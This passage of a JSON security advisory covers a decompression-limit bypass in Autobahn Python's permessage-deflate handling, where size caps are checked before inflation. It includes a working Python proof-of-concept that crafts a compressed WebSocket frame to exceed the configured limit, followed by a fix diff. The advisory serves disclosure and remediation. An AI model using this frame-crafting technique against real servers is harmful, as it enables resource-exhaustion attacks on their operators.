      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "crossbar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:37:28Z",
    "nvd_published_at": "2026-09-18T20:17:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAutobahn Python enforces `maxMessagePayloadSize` against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach `onMessage` even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.\n\n### Details\nThe permessage-deflate path installs a `PerMessageDeflate` instance when the server accepts a client offer in `src/autobahn/websocket/protocol.py:3371`. The common `PerMessageDeflateOfferAccept(offer)` path leaves `max_message_size` at its default `None` in `src/autobahn/websocket/compress_deflate.py:295`, and that value is copied into the compressor object in `src/autobahn/websocket/compress_deflate.py:723`. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in `src/autobahn/websocket/protocol.py:1812`, calls `onMessageFrameBegin` with the compressed frame length, and increments `message_data_total_length` by that pre-inflate length in `src/autobahn/websocket/protocol.py:634`; the configured message cap is enforced against the same compressed accounting at `src/autobahn/websocket/protocol.py:636`. Only after those checks does Autobahn inflate the payload in `src/autobahn/websocket/protocol.py:1861`; because `max_message_size` is `None`, `src/autobahn/websocket/compress_deflate.py:812` calls zlib without an output cap. The inflated bytes are then passed to `onMessageFrameData` in `src/autobahn/websocket/protocol.py:1882`, appended for WebSocket version 13 without adding their inflated length to the message counter at `src/autobahn/websocket/protocol.py:667`, joined in `src/autobahn/websocket/protocol.py:690`, and delivered through `_onMessage` in `src/autobahn/websocket/protocol.py:693`. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.\n\n### Reproduction\n```py\nimport sys\nimport types\nimport zlib\n\n\nif len(sys.argv) != 2:\n    raise SystemExit(\"usage: autobahn_deflate_limit_poc.py \u003cautobahn-python-source-dir\u003e\")\n\nSRC = sys.argv[1]\n\n\nclass _Log:\n    def debug(self, *args, **kwargs):\n        pass\n\n    def warn(self, *args, **kwargs):\n        pass\n\n    def error(self, *args, **kwargs):\n        pass\n\n\nclass _Timer:\n    def call_later(self, *args, **kwargs):\n        return self\n\n    def cancel(self):\n        pass\n\n\ntxaio = types.ModuleType(\"txaio\")\ntxaio.make_logger = lambda: _Log()\ntxaio.create_future = lambda result=None: result\ntxaio.resolve = lambda future, value=None: None\ntxaio.reject = lambda future, error=None: None\ntxaio.add_callbacks = (\n    lambda future, callback=None, errback=None: callback(future) if callback else None\n)\ntxaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)\ntxaio.failure_format_traceback = lambda err: str(err)\ntxaio.call_later = lambda *args, **kwargs: _Timer()\ntxaio.make_batched_timer = lambda *args, **kwargs: _Timer()\ntxaio.time_ns = lambda: 0\ntxaio.use_asyncio = lambda: None\ntxaio.use_twisted = lambda: None\nsys.modules[\"txaio\"] = txaio\n\nhyperlink = types.ModuleType(\"hyperlink\")\n\n\nclass _URL:\n    @classmethod\n    def from_text(cls, text):\n        return cls(text)\n\n    def __init__(self, text):\n        self._text = text\n\n    def to_uri(self):\n        return self\n\n    def normalize(self):\n        return self\n\n    def to_text(self):\n        return self._text\n\n\nhyperlink.URL = _URL\nsys.modules[\"hyperlink\"] = hyperlink\n\nwamp_types = types.ModuleType(\"autobahn.wamp.types\")\n\n\nclass TransportDetails:\n    pass\n\n\nwamp_types.TransportDetails = TransportDetails\nsys.modules[\"autobahn.wamp.types\"] = wamp_types\n\nsys.path.insert(0, SRC + \"/src\")\n\nfrom autobahn.websocket.compress_deflate import PerMessageDeflate\nfrom autobahn.websocket.protocol import WebSocketProtocol\n\n\nclass _Factory:\n    isServer = True\n    requireMaskedClientFrames = True\n    maskServerFrames = False\n    utf8validateIncoming = True\n    applyMask = True\n    maxFramePayloadSize = 128\n    maxMessagePayloadSize = 128\n    autoFragmentSize = 0\n    failByDrop = True\n    echoCloseCodeReason = False\n    openHandshakeTimeout = 5\n    closeHandshakeTimeout = 1\n    tcpNoDelay = True\n    autoPingInterval = 0\n    autoPingTimeout = 0\n    autoPingSize = 12\n    autoPingRestartOnAnyTraffic = True\n    logOctets = False\n    logFrames = False\n    trackTimings = False\n    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS\n    webStatus = False\n    perMessageCompressionAccept = staticmethod(lambda offer: None)\n    serveFlashSocketPolicy = False\n    flashSocketPolicy = \"\"\n    allowedOrigins = [\"*\"]\n    allowedOriginsPatterns = []\n    allowNullOrigin = True\n    maxConnections = 0\n    trustXForwardedFor = 0\n    _batched_timer = _Timer()\n\n\nclass CapturingProtocol(WebSocketProtocol):\n    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER\n\n    def __init__(self):\n        super().__init__()\n        self.delivered = None\n\n    def _onMessageBegin(self, isBinary):\n        self.onMessageBegin(isBinary)\n\n    def _onMessageFrameBegin(self, length):\n        self.onMessageFrameBegin(length)\n\n    def _onMessageFrameData(self, payload):\n        self.onMessageFrameData(payload)\n\n    def _onMessageFrameEnd(self):\n        self.onMessageFrameEnd()\n\n    def _onMessageFrame(self, payload):\n        self.onMessageFrame(payload)\n\n    def _onMessageEnd(self):\n        self.onMessageEnd()\n\n    def _onMessage(self, payload, isBinary):\n        self.delivered = payload\n\n    def sendData(self, data, sync=False, chopsize=None):\n        pass\n\n    def dropConnection(self, abort=True):\n        self.droppedByMe = True\n        self.state = WebSocketProtocol.STATE_CLOSED\n\n\ndef masked_compressed_text_frame(payload):\n    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)\n    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)\n    compressed = compressed[:-4]\n    mask = b\"\\x11\\x22\\x33\\x44\"\n    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))\n    if len(compressed) \u003c= 125:\n        header = bytes([0xC1, 0x80 | len(compressed)])\n    elif len(compressed) \u003c= 65535:\n        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, \"big\")\n    else:\n        raise RuntimeError(\"compressed fixture too large\")\n    return header + mask + masked, len(compressed)\n\n\nlimit = 128\ninflated = b\"X\" * 4096\nframe, compressed_len = masked_compressed_text_frame(inflated)\nif compressed_len \u003e= limit:\n    raise SystemExit(\"compressed fixture does not pass pre-inflate limit\")\n\nproto = CapturingProtocol()\nproto.factory = _Factory()\nproto.log = _Log()\nproto._connectionMade()\nproto._perMessageCompress = PerMessageDeflate(\n    is_server=True,\n    server_no_context_takeover=False,\n    client_no_context_takeover=False,\n    server_max_window_bits=15,\n    client_max_window_bits=15,\n    mem_level=8,\n    max_message_size=None,\n)\nproto.state = WebSocketProtocol.STATE_OPEN\nproto.inside_message = False\nproto.current_frame = None\nproto.websocket_version = 13\n\nproto._dataReceived(frame)\n\ndelivered_len = len(proto.delivered or b\"\")\nif delivered_len \u003e limit and not proto.wasMaxMessagePayloadSizeExceeded:\n    print(\n        \"AUTOBAHN_DEFLATE_LIMIT_BYPASS \"\n        f\"delivered_length={delivered_len} configured_limit={limit} \"\n        f\"compressed_length={compressed_len}\"\n    )\n    raise SystemExit(0)\n\nprint(\n    \"guarded \"\n    f\"delivered_length={delivered_len} configured_limit={limit} \"\n    f\"compressed_length={compressed_len} \"\n    f\"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}\"\n)\nraise SystemExit(1)\n\n```\n\n### Impact\nA remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on `maxMessagePayloadSize` as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level `max_message_size` cap because it remains `None`. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.\n\n### Suggested fix\n```001-fix.diff\ndiff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py\nindex 3c060804..4514e3cb 100644\n--- a/src/autobahn/websocket/protocol.py\n+++ b/src/autobahn/websocket/protocol.py\n@@ -1869,6 +1869,17 @@ class WebSocketProtocol:\n             if self.state == WebSocketProtocol.STATE_OPEN:\n                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen\n                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen\n+\n+            if self._isMessageCompressed:\n+                self.message_data_total_length += uncompressedLen - compressedLen\n+                if 0 \u003c self.maxMessagePayloadSize \u003c self.message_data_total_length:\n+                    self.wasMaxMessagePayloadSizeExceeded = True\n+                    self._max_message_size_exceeded(\n+                        self.message_data_total_length,\n+                        self.maxMessagePayloadSize,\n+                        f\"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets\",\n+                    )\n+                    return False\n \n             # incrementally validate UTF-8 payload\n             #\n```\n\n*Reported by Team Atlanta.*",
  "id": "GHSA-hxp9-w8x3-p566",
  "modified": "2026-09-22T20:37:28Z",
  "published": "2026-09-22T20:37:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/security/advisories/GHSA-hxp9-w8x3-p566"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77528"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/pull/1916"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/commit/77d323a30b09b1828ad8be2ce6344e056970e613"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/crossbario/autobahn-python"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/releases/tag/v26_7_1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation"
}